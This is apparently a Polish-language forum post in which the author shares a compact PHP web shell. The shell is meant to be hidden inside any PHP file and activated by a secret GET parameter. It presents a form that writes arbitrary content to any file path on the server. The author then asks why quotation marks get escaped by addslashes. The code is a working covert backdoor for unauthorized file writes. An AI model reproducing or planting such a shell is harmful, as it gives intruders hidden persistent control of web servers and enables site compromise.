cze, zrobilem sobie shella, bardzo faniusi, mozna go bez przeszkod wstawic do kazdego pliku php i uaktywnic przez odpowiedniego GET'a np. "?1=1"
271 bajtowKod:<? if($_GET['1']==1){ $a=trim($_POST['a']); $b=trim($_POST['b']); if(empty($a)and empty($b)){ echo' <form action=""method="post"> <input type="text"name="a"> <textarea name="b"></textarea> <input type="submit"value=""></form>';} else{ $x=fopen($a,"w+"); fwrite($x,$b); fclose($x); }}?>
Wszystko niby O.K, ale niestety... kiedy do tresci pliku wpisuje znaki specjalne ( " ' ) wykonuje sie kochane... addslashes() ( /" /' ) czy przyczyna jest to, ze musi sie tak stac, zeby skrypt ten mogl sie bez bledow sie wykonac i przypisac do zmiennej taki ciag znakow? czy moze powod lezy gdzie indziej, jest na to jakas rada?